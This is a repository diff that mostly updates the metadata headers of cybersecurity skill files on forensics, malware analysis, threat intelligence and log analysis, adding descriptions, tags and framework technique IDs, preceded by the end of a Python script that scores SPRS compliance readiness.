+    ap.add_argument("--output", "-o", help="Write Markdown readiness report to this path")
+    ap.add_argument("--require-conditional", action="store_true",
+                    help="Exit non-zero if SPRS score < 88 (conditional threshold)")
+    args = ap.parse_args()
+
+    try:
+        with open(args.input) as f:
+            data = json.load(f)
+    except (OSError, json.JSONDecodeError) as e:
+        print(f"ERROR: could not read input JSON: {e}", file=sys.stderr)
+        return 2
+
+    try:
+        res = compute(data)
+        md = render(data, res)
+    except ValueError as e:
+        print(f"ERROR: {e}", file=sys.stderr)
+        return 2
+
+    if args.output:
+        with open(args.output, "w") as f:
+            f.write(md + "\n")
+        print(f"Readiness report written to {args.output}", file=sys.stderr)
+    else:
+        print(md)
+
+    print(f"SPRS score {res['score']}/110 (deductions {res['deductions']}; "
+          f"not met {res['counts']['not_met']}, partial {res['counts']['partial']}).",
+          file=sys.stderr)
+
+    if args.require_conditional and res["score"] < CONDITIONAL_THRESHOLD:
+        print(f"FAIL: score {res['score']} < {CONDITIONAL_THRESHOLD} conditional threshold.",
+              file=sys.stderr)
+        return 1
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md

@@ -1,12 +1,27 @@
 ---
 name: acquiring-disk-image-with-dd-and-dcfldd
-description: Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
+description: Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, disk-imaging, evidence-acquisition, dd, dcfldd, hash-verification]
-version: "1.0"
+tags:
+- forensics
+- disk-imaging
+- evidence-acquisition
+- dd
+- dcfldd
+- hash-verification
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1006
+- T1005
+- T1025
+- T1074.001
 ---
 
 # Acquiring Disk Image with dd and dcfldd

skills/analyzing-active-directory-acl-abuse/SKILL.md

@@ -1,12 +1,27 @@
 ---
 name: analyzing-active-directory-acl-abuse
-description: Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
+description: Detect dangerous ACL misconfigurations in Active Directory using ldap3
+  to identify GenericAll, WriteDACL, and WriteOwner abuse paths
 domain: cybersecurity
 subdomain: identity-security
-tags: [active-directory, acl-abuse, ldap, privilege-escalation]
-version: "1.0"
+tags:
+- active-directory
+- acl-abuse
+- ldap
+- privilege-escalation
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.AA-01
+- PR.AA-05
+- PR.AA-06
+mitre_attack:
+- T1098
+- T1098.007
+- T1484.001
+- T1222.001
+- T1078.002
 ---
 
 

skills/analyzing-android-malware-with-apktool/SKILL.md

@@ -1,12 +1,31 @@
 ---
 name: analyzing-android-malware-with-apktool
-description: Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
+description: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [Android, APK, apktool, jadx, androguard, mobile-malware, static-analysis, reverse-engineering]
-version: "1.0"
+tags:
+- Android
+- APK
+- apktool
+- jadx
+- androguard
+- mobile-malware
+- static-analysis
+- reverse-engineering
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1406
+- T1407
+- T1626.001
+- T1655.001
+- T1521.001
 ---
 
 # Analyzing Android Malware with Apktool

skills/analyzing-api-gateway-access-logs/SKILL.md

@@ -1,16 +1,35 @@
 ---
 name: analyzing-api-gateway-access-logs
-description: >
-  Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR
-  attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas
-  for statistical analysis of request patterns and anomaly detection. Use when
-  investigating API abuse or building API-specific threat detection rules.
+description: 'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
+  BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts.
+  Uses pandas for statistical analysis of request patterns and anomaly detection.
+  Use when investigating API abuse or building API-specific threat detection rules.
+
+  '
 domain: cybersecurity
 subdomain: security-operations
-tags: [analyzing, api, gateway, access]
-version: "1.0"
+tags:
+- api-security
+- access-log-analysis
+- aws-api-gateway
+- kong
+- nginx
+- bola-detection
+- rate-limit-bypass
+- security-operations
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.CM-01
+- RS.MA-01
+- GV.OV-01
+- DE.AE-02
+mitre_attack:
+- T1190
+- T1110.004
+- T1078.004
+- T1119
 ---
 
 # Analyzing API Gateway Access Logs

skills/analyzing-apt-group-with-mitre-navigator/SKILL.md

@@ -1,12 +1,37 @@
 ---
 name: analyzing-apt-group-with-mitre-navigator
-description: Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
+description: Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [mitre-attack, navigator, apt, threat-actor, ttp-analysis, heatmap, detection-gap, threat-intelligence]
-version: "1.0"
+tags:
+- mitre-attack
+- navigator
+- apt
+- threat-actor
+- ttp-analysis
+- heatmap
+- detection-gap
+- threat-intelligence
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Content Format Conversion
+- File Content Analysis
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1059.001
+- T1071.001
+- T1003.001
+- T1486
+- T1547.001
 ---
 # Analyzing APT Group with MITRE ATT&CK Navigator
 

skills/analyzing-azure-activity-logs-for-threats/SKILL.md

@@ -1,16 +1,34 @@
 ---
 name: analyzing-azure-activity-logs-for-threats
-description: >
-  Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to
-  detect suspicious administrative operations, impossible travel, privilege escalation,
+description: 'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
+  to detect suspicious administrative operations, impossible travel, privilege escalation,
   and resource modifications. Builds KQL queries for threat hunting in Azure environments.
   Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.
+
+  '
 domain: cybersecurity
 subdomain: security-operations
-tags: [analyzing, azure, activity, logs]
-version: "1.0"
+tags:
+- azure
+- cloud-security
+- azure-monitor
+- kql
+- threat-hunting
+- activity-logs
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.CM-01
+- RS.MA-01
+- GV.OV-01
+- DE.AE-02
+mitre_attack:
+- T1078.004
+- T1098.003
+- T1538
+- T1556.009
+- T1580
 ---
 
 # Analyzing Azure Activity Logs for Threats

skills/analyzing-bootkit-and-rootkit-samples/SKILL.md

@@ -1,17 +1,34 @@
 ---
 name: analyzing-bootkit-and-rootkit-samples
-description: >
-  Analyzes bootkit and advanced rootkit malware that infects the Master Boot Record (MBR),
-  Volume Boot Record (VBR), or UEFI firmware to gain persistence below the operating system.
-  Covers boot sector analysis, UEFI module inspection, and anti-rootkit detection techniques.
-  Activates for requests involving bootkit analysis, MBR malware investigation, UEFI
-  persistence analysis, or pre-OS malware detection.
+description: 'Analyzes bootkit and advanced rootkit malware infecting the Master
+  Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,
+  covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.
+  Use when compromise survives OS reinstallation or antivirus/EDR fails to detect
+  malware despite clear infection signs.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, bootkit, rootkit, UEFI, MBR-analysis]
+tags:
+- malware
+- bootkit
+- rootkit
+- UEFI
+- MBR-analysis
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1542.003
+- T1542.001
+- T1542.002
+- T1014
+- T1547.006
 ---
 
 # Analyzing Bootkit and Rootkit Samples

skills/analyzing-browser-forensics-with-hindsight/SKILL.md

@@ -1,12 +1,31 @@
 ---
 name: analyzing-browser-forensics-with-hindsight
-description: Analyze Chromium-based browser artifacts using Hindsight to extract browsing history, downloads, cookies, cached content, autofill data, saved passwords, and browser extensions from Chrome, Edge, Brave, and Opera for forensic investigation.
+description: Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [browser-forensics, hindsight, chrome-forensics, chromium, edge, browsing-history, cookies, downloads, cache, web-artifacts]
-version: "1.0"
+tags:
+- browser-forensics
+- hindsight
+- chrome-forensics
+- chromium
+- edge
+- browsing-history
+- cookies
+- downloads
+- cache
+- web-artifacts
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1217
+- T1539
+- T1555.003
+- T1185
 ---
 
 # Analyzing Browser Forensics with Hindsight

skills/analyzing-campaign-attribution-evidence/SKILL.md

@@ -1,12 +1,29 @@
 ---
 name: analyzing-campaign-attribution-evidence
-description: Campaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attr
+description: Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [threat-intelligence, cti, ioc, mitre-attack, stix, attribution, campaign-analysis]
-version: "1.0"
+tags:
+- threat-intelligence
+- cti
+- ioc
+- mitre-attack
+- stix
+- attribution
+- campaign-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1587.001
+- T1583.001
+- T1588.002
+- T1071.001
 ---
 # Analyzing Campaign Attribution Evidence
 

skills/analyzing-certificate-transparency-for-phishing/SKILL.md

@@ -1,12 +1,62 @@
 ---
 name: analyzing-certificate-transparency-for-phishing
-description: Monitor Certificate Transparency logs using crt.sh and Certstream to detect phishing domains, lookalike certificates, and unauthorized certificate issuance targeting your organization.
+description: Monitor Certificate Transparency logs using crt.sh and Certstream to
+  detect phishing domains, lookalike certificates, and unauthorized certificate issuance
+  targeting your organization.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [certificate-transparency, ct-logs, phishing, crt-sh, certstream, ssl, domain-monitoring, threat-intelligence]
-version: "1.0"
+tags:
+- certificate-transparency
+- ct-logs
+- phishing
+- crt-sh
+- certstream
+- ssl
+- domain-monitoring
+- threat-intelligence
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0052
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1583.001
+- T1583.004
+- T1566.002
+- T1608.005
+- T1596.003
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - resource-development
+  - reconnaissance
+  - initial-access
+  techniques:
+  - id: T1583.001
+    name: 'Acquire Infrastructure: Domains'
+    tactic: resource-development
+    source: attack
+  - id: F1020.002
+    name: 'Create Fake Materials: Fake Website'
+    tactic: resource-development
+    source: f3
+  - id: T1593
+    name: Search Open Websites/Domains
+    tactic: reconnaissance
+    source: attack
+  - id: T1598
+    name: Phishing for Information
+    tactic: reconnaissance
+    source: attack
+  - id: T1660
+    name: Phishing
+    tactic: initial-access
+    source: attack
 ---
 # Analyzing Certificate Transparency for Phishing
 

skills/analyzing-cloud-storage-access-patterns/SKILL.md

@@ -1,16 +1,37 @@
 ---
 name: analyzing-cloud-storage-access-patterns
-description: >-
-  Detect abnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail
-  Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads,
-  access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration
-  using statistical baselines and time-series anomaly detection.
+description: Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.
 domain: cybersecurity
 subdomain: cloud-security
-tags: [analyzing, cloud, storage, access]
-version: "1.0"
+tags:
+- cloud-security
+- aws-s3
+- gcs
+- azure-blob-storage
+- cloudtrail
+- data-access-anomaly
+- exfiltration-detection
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0024
+- AML.T0056
+nist_ai_rmf:
+- MEASURE-2.7
+- MAP-5.1
+- MANAGE-2.4
+nist_csf:
+- PR.IR-01
+- ID.AM-08
+- GV.SC-06
+- DE.CM-01
+mitre_attack:
+- T1530
+- T1567.002
+- T1619
+- T1078.004
+- T1048
 ---
 
 

skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md

@@ -1,12 +1,32 @@
 ---
 name: analyzing-cobalt-strike-beacon-configuration
-description: Extract and analyze Cobalt Strike beacon configuration from PE files and memory dumps to identify C2 infrastructure, malleable profiles, and operator tradecraft.
+description: Extract and analyze Cobalt Strike beacon configuration from PE files
+  and memory dumps to identify C2 infrastructure, malleable profiles, and operator
+  tradecraft.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [cobalt-strike, beacon, c2, malware-analysis, config-extraction, threat-hunting, red-team-tools]
-version: "1.0"
+tags:
+- cobalt-strike
+- beacon
+- c2
+- malware-analysis
+- config-extraction
+- threat-hunting
+- red-team-tools
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1071.001
+- T1573.001
+- T1090.004
+- T1105
+- T1027
 ---
 # Analyzing Cobalt Strike Beacon Configuration
 

skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md

@@ -1,12 +1,30 @@
 ---
 name: analyzing-cobaltstrike-malleable-c2-profiles
-description: Parse and analyze Cobalt Strike Malleable C2 profiles using dissect.cobaltstrike and pyMalleableC2 to extract C2 indicators, detect evasion techniques, and generate network detection signatures.
+description: Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [cobalt-strike, malleable-c2, c2-detection, beacon-analysis, network-signatures, threat-hunting, red-team-tools]
-version: "1.0"
+tags:
+- cobalt-strike
+- malleable-c2
+- c2-detection
+- beacon-analysis
+- network-signatures
+- threat-hunting
+- red-team-tools
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1071.001
+- T1573.002
+- T1001.003
+- T1090.004
+- T1102
 ---
 # Analyzing CobaltStrike Malleable C2 Profiles
 

skills/analyzing-command-and-control-communication/SKILL.md

@@ -1,17 +1,35 @@
 ---
 name: analyzing-command-and-control-communication
-description: >
-  Analyzes malware command-and-control (C2) communication protocols to understand beacon
-  patterns, command structures, data encoding, and infrastructure. Covers HTTP, HTTPS, DNS,
-  and custom protocol C2 analysis for detection development and threat intelligence.
-  Activates for requests involving C2 analysis, beacon detection, C2 protocol reverse
-  engineering, or command-and-control infrastructure mapping.
+description: 'Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom
+  protocols to reverse-engineer beacon patterns, command structures, data encoding,
+  and infrastructure (primary servers, fallback domains, dead drops). Use after
+  reverse engineering reveals network traffic needing protocol analysis or when
+  building detection signatures for a framework like Cobalt Strike, Metasploit,
+  or Sliver.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, C2, command-and-control, beacon, protocol-analysis]
+tags:
+- malware
+- C2
+- command-and-control
+- beacon
+- protocol-analysis
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1071.001
+- T1573
+- T1571
+- T1008
+- T1095
 ---
 
 # Analyzing Command-and-Control Communication

skills/analyzing-cyber-kill-chain/SKILL.md

@@ -1,18 +1,37 @@
 ---
 name: analyzing-cyber-kill-chain
-description: >
-  Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain framework to identify
-  which phases an adversary has completed, where defenses succeeded or failed, and what controls
-  would have interrupted the attack at earlier phases. Use when conducting post-incident analysis,
-  building prevention-focused security controls, or mapping detection gaps to kill chain phases.
-  Activates for requests involving kill chain analysis, intrusion kill chain, attack phase mapping,
-  or Lockheed Martin kill chain framework.
+description: 'Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain
+  framework to identify which phases an adversary has completed, where defenses succeeded
+  or failed, and what controls would have interrupted the attack at earlier phases.
+  Use when conducting post-incident analysis, building prevention-focused security
+  controls, or mapping detection gaps to kill chain phases. Activates for requests
+  involving kill chain analysis, intrusion kill chain, attack phase mapping, or Lockheed
+  Martin kill chain framework.
+
+  '
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [kill-chain, Lockheed-Martin, MITRE-ATT&CK, intrusion-analysis, defense-in-depth, NIST-CSF]
+tags:
+- kill-chain
+- Lockheed-Martin
+- MITRE-ATT&CK
+- intrusion-analysis
+- defense-in-depth
+- NIST-CSF
 version: 1.0.0
 author: team-cybersecurity
 license: Apache-2.0
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1566.001
+- T1190
+- T1547.001
+- T1071.001
+- T1486
 ---
 # Analyzing Cyber Kill Chain
 

skills/analyzing-disk-image-with-autopsy/SKILL.md

@@ -1,12 +1,27 @@
 ---
 name: analyzing-disk-image-with-autopsy
-description: Perform comprehensive forensic analysis of disk images using Autopsy to recover files, examine artifacts, and build investigation timelines.
+description: Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, autopsy, disk-analysis, sleuth-kit, file-recovery, artifact-analysis]
-version: "1.0"
+tags:
+- forensics
+- autopsy
+- disk-analysis
+- sleuth-kit
+- file-recovery
+- artifact-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1005
+- T1074.001
+- T1070.004
+- T1083
 ---
 
 # Analyzing Disk Image with Autopsy

skills/analyzing-dns-logs-for-exfiltration/SKILL.md

@@ -1,16 +1,38 @@
 ---
 name: analyzing-dns-logs-for-exfiltration
-description: >
-  Analyzes DNS query logs to detect data exfiltration via DNS tunneling, DGA domain communication,
-  and covert C2 channels using entropy analysis, query volume anomalies, and subdomain length
-  detection in SIEM platforms. Use when SOC teams need to identify DNS-based threats that bypass
-  traditional network security controls.
+description: 'Analyzes DNS query logs to detect data exfiltration via DNS tunneling,
+  DGA domain communication, and covert C2 channels using entropy analysis, query volume
+  anomalies, and subdomain length detection in SIEM platforms. Use when SOC teams
+  need to identify DNS-based threats that bypass traditional network security controls.
+
+  '
 domain: cybersecurity
 subdomain: soc-operations
-tags: [soc, dns, exfiltration, dns-tunneling, dga, c2-detection, splunk, threat-detection]
-version: "1.0"
+tags:
+- soc
+- dns
+- exfiltration
+- dns-tunneling
+- dga
+- c2-detection
+- splunk
+- threat-detection
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0024
+- AML.T0056
+- AML.T0086
+nist_csf:
+- DE.CM-01
+- DE.AE-02
+- RS.MA-01
+- DE.AE-06
+mitre_attack:
+- T1048.003
+- T1071.004
+- T1567
 ---
 # Analyzing DNS Logs for Exfiltration
 

skills/analyzing-docker-container-forensics/SKILL.md

@@ -1,12 +1,28 @@
 ---
 name: analyzing-docker-container-forensics
-description: Investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence.
+description: Investigate compromised Docker containers by analyzing images, layers,
+  volumes, logs, and runtime artifacts to identify malicious activity and evidence.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, docker, container-forensics, container-security, image-analysis, runtime-investigation]
-version: "1.0"
+tags:
+- forensics
+- docker
+- container-forensics
+- container-security
+- image-analysis
+- runtime-investigation
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1610
+- T1611
+- T1613
+- T1612
 ---
 
 # Analyzing Docker Container Forensics

skills/analyzing-email-headers-for-phishing-investigation/SKILL.md

@@ -1,12 +1,65 @@
 ---
 name: analyzing-email-headers-for-phishing-investigation
-description: Parse and analyze email headers to trace the origin of phishing emails, verify sender authenticity, and identify spoofing through SPF, DKIM, and DMARC validation.
+description: Parse and analyze email headers (Received chain, Return-Path, Message-ID)
+  to trace the true origin of a phishing email and validate SPF, DKIM, and DMARC
+  results to confirm or rule out sender spoofing. Use when triaging a suspicious or
+  reported email, investigating a phishing incident, or verifying whether a message's
+  sender domain was spoofed.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, email-analysis, phishing, spf, dkim, dmarc, header-analysis]
-version: "1.0"
+tags:
+- forensics
+- email-analysis
+- phishing
+- spf
+- dkim
+- dmarc
+- header-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0052
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1566.001
+- T1566.002
+- T1598.003
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - reconnaissance
+  - initial-access
+  - stealth
+  - resource-development
+  techniques:
+  - id: T1598
+    name: Phishing for Information
+    tactic: reconnaissance
+    source: attack
+  - id: T1660
+    name: Phishing
+    tactic: initial-access
+    source: attack
+  - id: T1672
+    name: Email Spoofing
+    tactic: stealth
+    source: attack
+  - id: F1032
+    name: Impersonate Official
+    tactic: initial-access
+    source: f3
+  - id: T1583.001
+    name: 'Acquire Infrastructure: Domains'
+    tactic: resource-development
+    source: attack
+  - id: F1020.002
+    name: 'Create Fake Materials: Fake Website'
+    tactic: resource-development
+    source: f3
 ---
 
 # Analyzing Email Headers for Phishing Investigation

skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md

@@ -1,12 +1,29 @@
 ---
 name: analyzing-ethereum-smart-contract-vulnerabilities
-description: Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to detect reentrancy, integer overflow, access control, and other vulnerability classes before deployment to Ethereum mainnet.
+description: Perform static and symbolic analysis of Solidity smart contracts using
+  Slither and Mythril to detect reentrancy, integer overflow, access control, and
+  other vulnerability classes before deployment to Ethereum mainnet.
 domain: cybersecurity
 subdomain: blockchain-security
-tags: [ethereum, solidity, smart-contract, slither, mythril, blockchain, defi, audit]
-version: "1.0"
+tags:
+- ethereum
+- solidity
+- smart-contract
+- slither
+- mythril
+- blockchain
+- defi
+- audit
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.DS-01
+- PR.DS-02
+- ID.RA-01
+mitre_attack:
+- T1190
+- T1059
 ---
 
 # Analyzing Ethereum Smart Contract Vulnerabilities

skills/analyzing-golang-malware-with-ghidra/SKILL.md

@@ -1,12 +1,34 @@
 ---
 name: analyzing-golang-malware-with-ghidra
-description: Reverse engineer Go-compiled malware using Ghidra with specialized scripts for function recovery, string extraction, and type reconstruction in stripped Go binaries.
+description: Reverse engineer Go-compiled malware in Ghidra by parsing Go buildinfo
+  and pclntab structures, recovering stripped/obfuscated function names (e.g. via
+  GoResolver), and extracting embedded module/dependency strings and types from Go
+  binaries. Use when analyzing a Go-language malware sample, deobfuscating a garble-packed
+  Go binary, or recovering function names and third-party dependencies from a stripped
+  Go executable.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [golang, ghidra, reverse-engineering, malware-analysis, binary-analysis, go-malware, disassembly]
-version: "1.0"
+tags:
+- golang
+- ghidra
+- reverse-engineering
+- malware-analysis
+- binary-analysis
+- go-malware
+- disassembly
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1027
+- T1620
+- T1140
+- T1059
 ---
 # Analyzing Golang Malware with Ghidra
 

skills/analyzing-heap-spray-exploitation/SKILL.md

@@ -1,12 +1,28 @@
 ---
 name: analyzing-heap-spray-exploitation
-description: Detect and analyze heap spray attacks in memory dumps using Volatility3 plugins to identify NOP sled patterns, shellcode landing zones, and suspicious large allocations in process virtual address space.
+description: Detect and analyze heap spray attacks in memory dumps using Volatility3
+  plugins to identify NOP sled patterns, shellcode landing zones, and suspicious large
+  allocations in process virtual address space.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware-analysis, memory-forensics, heap-spray, volatility3, exploit-analysis]
-version: "1.0"
+tags:
+- malware-analysis
+- memory-forensics
+- heap-spray
+- volatility3
+- exploit-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1203
+- T1059.007
+- T1106
 ---
 # Analyzing Heap Spray Exploitation
 

skills/analyzing-indicators-of-compromise/SKILL.md

@@ -1,17 +1,62 @@
 ---
 name: analyzing-indicators-of-compromise
-description: >
-  Analyzes indicators of compromise (IOCs) including IP addresses, domains, file hashes, URLs,
-  and email artifacts to determine maliciousness confidence, campaign attribution, and blocking
-  priority. Use when triaging IOCs from phishing emails, security alerts, or external threat feeds;
-  enriching raw IOCs with multi-source intelligence; or making block/monitor/whitelist decisions.
-  Activates for requests involving VirusTotal, AbuseIPDB, MalwareBazaar, MISP, or IOC enrichment pipelines.
+description: 'Analyzes indicators of compromise (IOCs) including IP addresses, domains,
+  file hashes, URLs, and email artifacts to determine maliciousness confidence, campaign
+  attribution, and blocking priority. Use when triaging IOCs from phishing emails,
+  security alerts, or external threat feeds; enriching raw IOCs with multi-source
+  intelligence; or making block/monitor/whitelist decisions. Activates for requests
+  involving VirusTotal, AbuseIPDB, MalwareBazaar, MISP, or IOC enrichment pipelines.
+
+  '
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [IOC, VirusTotal, AbuseIPDB, MalwareBazaar, MISP, threat-intelligence, STIX, NIST-CSF]
+tags:
+- IOC
+- VirusTotal
+- AbuseIPDB
+- MalwareBazaar
+- MISP
+- threat-intelligence
+- STIX
+- NIST-CSF
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0052
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1071
+- T1105
+- T1041
+- T1567
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - reconnaissance
+  - resource-development
+  - initial-access
+  techniques:
+  - id: T1598
+    name: Phishing for Information
+    tactic: reconnaissance
+    source: attack
+  - id: T1660
+    name: Phishing
+    tactic: initial-access
+    source: attack
+  - id: T1583.001
+    name: 'Acquire Infrastructure: Domains'
+    tactic: resource-development
+    source: attack
+  - id: F1020.002
+    name: 'Create Fake Materials: Fake Website'
+    tactic: resource-development
+    source: f3
 ---
 # Analyzing Indicators of Compromise
 

skills/analyzing-ios-app-security-with-objection/SKILL.md

@@ -1,18 +1,38 @@
 ---
 name: analyzing-ios-app-security-with-objection
-description: >
-  Performs runtime mobile security exploration of iOS applications using Objection, a Frida-powered
-  toolkit that enables security testers to interact with app internals without jailbreaking. Use when
-  assessing iOS app security posture, bypassing client-side protections, dumping keychain items,
-  inspecting filesystem storage, and evaluating runtime behavior. Activates for requests involving
-  iOS security testing, Objection runtime analysis, Frida-based iOS assessment, or mobile runtime
-  exploration.
+description: >-
+  Runtime iOS app security testing with Objection (Frida): inspect keychain and
+  filesystem data, explore app internals at runtime, and validate/bypass
+  client-side protections during authorized mobile assessments.
 domain: cybersecurity
 subdomain: mobile-security
 author: mahipal
-tags: [mobile-security, ios, objection, frida, owasp-mobile, penetration-testing]
+tags:
+- mobile-security
